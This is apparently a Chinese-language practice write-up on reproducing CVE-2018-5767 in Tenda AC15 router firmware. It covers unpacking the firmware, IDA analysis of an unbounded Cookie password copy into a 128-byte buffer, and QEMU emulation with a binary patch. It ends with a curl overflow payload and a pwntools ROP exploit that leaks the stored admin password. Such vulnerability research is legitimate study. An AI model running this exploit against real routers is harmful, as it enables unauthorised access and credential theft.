CVE-2018-5767

这是个比较老的洞,但作为练手再合适不过,涉及到以下几个点:

  • 解包与提取文件系统
  • IDA Pro漏洞分析
  • Patch与QEMU仿真测试

信息收集

从NVD官网上了解到

  • 漏洞是存在于Cookie上,既然是Cookie说明漏洞基本上与http服务相关了
  • 漏洞相对应的固件为Tenda AC15 V15.03.1.16_multi

NVD-CVE-2018-5767

通过PoC定位漏洞具体产生的位置,看上去是Cookie中有个password字段产生了溢出

PoC

拿到固件file看看信息,Binwalk看看能不能分析出来

iot@iot:~$ file US_AC15V1.0BR_V15.03.1.16_multi_TD01.bin 
US_AC15V1.0BR_V15.03.1.16_multi_TD01.bin: u-boot legacy uImage, \002, Linux/ARM, OS Kernel Image (lzma), 10227712 bytes, Thu Nov 19 09:36:45 2015, Load Address: 0X80000000, Entry Point: 0XC0008000, Header CRC: 0X73CF0D74, Data CRC: 0X3321F349
iot@iot:~$ binwalk US_AC15V1.0BR_V15.03.1.16_multi_TD01.bin 

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
64            0x40            TRX firmware header, little endian, image size: 10227712 bytes, CRC32: 0x314DBDAC, flags: 0x0, version: 1, header size: 28 bytes, loader offset: 0x1C, linux kernel offset: 0x198CDC, rootfs offset: 0x0
92            0x5C            LZMA compressed data, properties: 0x5D, dictionary size: 65536 bytes, uncompressed size: 4114848 bytes
1674524       0x198D1C        Squashfs filesystem, little endian, version 4.0, compression:xz, size: 8549574 bytes, 741 inodes, blocksize: 131072 bytes, created: 2015-11-19 09:36:43

这信息可不少,指出了是U-boot的镜像,lzma压缩,以及打包时间等

解包与提取文件系统

最简单的方式是binwalk -Me直接提取,不过这里是为了练手所以使用手动提取的方式

根据binwalk给出的偏移量提取出文件系统镜像

iot@iot:~$ dd if=US_AC15V1.0BR_V15.03.1.16_multi_TD01.bin of=Squashfs.image bs=1 count=8549574 skip=1674524
...
iot@iot:~$ file Squashfs.image 
Squashfs.image: Squashfs filesystem, little endian, version 4.0, xz compressed, 8549574 bytes, 741 inodes, blocksize: 131072 bytes, created: Thu Nov 19 09:36:43 2015

可以看到提取对了,之后使用unsquashfs对于文件系统镜像进行解压

iot@iot:~$ unsquashfs Squashfs.image 
iot@iot:~$ cd squashfs-root
iot@iot:~/squashfs-root$ 

这里就把整个文件系统还原出来了。

漏洞分析

根据之前获得的信息,找到相对应文件

iot@iot:~/squashfs-root$ find . -name http*
./bin/httpd
iot@iot:~/squashfs-root$ cd bin
iot@iot:~/squashfs-root/bin$ file httpd
httpd: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), dynamically linked, interpreter /lib/ld-uClibc.so.0, stripped

提出来IDA分析,小端序打开,shift+f12快速找到字段处理的位置,即漏洞点

password处理

从漏洞点的逻辑可以看出,首先对于cookie中的字段进行检索,检索到“password=”字段后将字段后的内容复制到p_g_Pass,但这里并没有复制的长度限制

vulnable

查看p_g_Pass的定义,仅有128字节长度,明显溢出

p_g_Pass

PATCH与QEMU仿真测试

先用用户模式尝试跑一跑,收集一下是否有关联的服务或者对应的外设

iot@iot-VMware-Virtual-Platform:~/squashfs-root$ sudo chroot ./ ./qemu-arm-static -g 1234 /bin/httpd
init_core_dump 1784: rlim_cur = 0, rlim_max = 0
init_core_dump 1794: open core dump success
sh: can't create /proc/sys/kernel/core_pattern: nonexistent directory
init_core_dump 1803: rlim_cur = 5120, rlim_max = 5120


Yes:

      ****** WeLoveLinux****** 

 Welcome to ...

Welcome to ...这卡死了,通过字符串搜索看看发生了什么

在输出完这条后进入了一个检查网络的循环,然后是ConnectCfm,这里还不确定发生了什么,就在输入日志这打上断点,然后一步步看是哪里卡死了

Welcome_break_point

貌似找到卡死的地方了,在这个位置一直循环,前一个判断是大于0时跳转,后一个则是不为0跳转到结束函数

死循环

Patch改变判断条件试试

patch

过了,但没达到测试的条件,接下来解决IP的问题
patch成功

创建网桥br0

sudo nmcli connection add type bridge ifname br0 con-name br0
sudo nmcli connection add type ethernet slave-type bridge con-name br0-port ifname eth0 master br0
sudo nmcli connection modify br0 ipv4.method manual ipv4.addresses 192.168.127.100/24 ipv4.gateway 192.168.127.2 ipv4.dns "8.8.8.8 8.8.4.4"
sudo nmcli connection up br0

可以看到分配到了IP,访问测试成功

works!

要想到漏洞所在路径,需要经过一长串的路径判断,大概意思是路径的第一段为goform/,第二段随意填写即可。这里甚至还有个base64编码的admin,估计是初始用户

path

写个payload测试一下,断点打在漏洞函数处,成功溢出

curl -H "Cookie: password=$(python3 -c "print('A'*0x400)")" "http://192.168.127.100/goform/abcd"
sudo gdb-multiarch
target remote localhost:1234
b *0x0002ED18
c

段错误触发

gdb

溢出后函数没有正常返回,可以看到还有另一函数2c5cc,回去看了一眼貌似是2c568中间的一个调用,大概是为了校验未通过后做重定向的,为了不影响,只需要找前面看有没有其他语句能够退出漏洞函数,实现ret2libc

backtrace

2c5cc

查看ida看到漏洞点后最早的ret是在匹配一堆图片后缀名后开始的也就是说在payload后面加上.png的后缀就会返回,加上后再次测试

ret

ret成功

成功触发漏洞并且使函数返回了,之后的payload构造就比较简单了,这里考虑到前面有涉及到密码验证的g_Pass,构造rop链使用puts函数应该可以打印出来,exp如下

import requests
from pwn import *

elf = ELF('./bin/httpd')
g_Pass = 0x000E1DBC

vmmap_base = 0xff5d5000
libc = ELF('./lib/libc.so.0')
puts = vmmap_base + libc.sym['puts']

rop = ROP(elf)
rop.call(puts, g_Pass)
URL = "http://192.168.127.100/goform/DeadBeef"
payload = cyclic(0x1c0) + rop.chain()

cookie = {"Cookie":"password="+payload+".png"}
requests.get(url=URL, cookies=cookie)

一个仍在爬山的人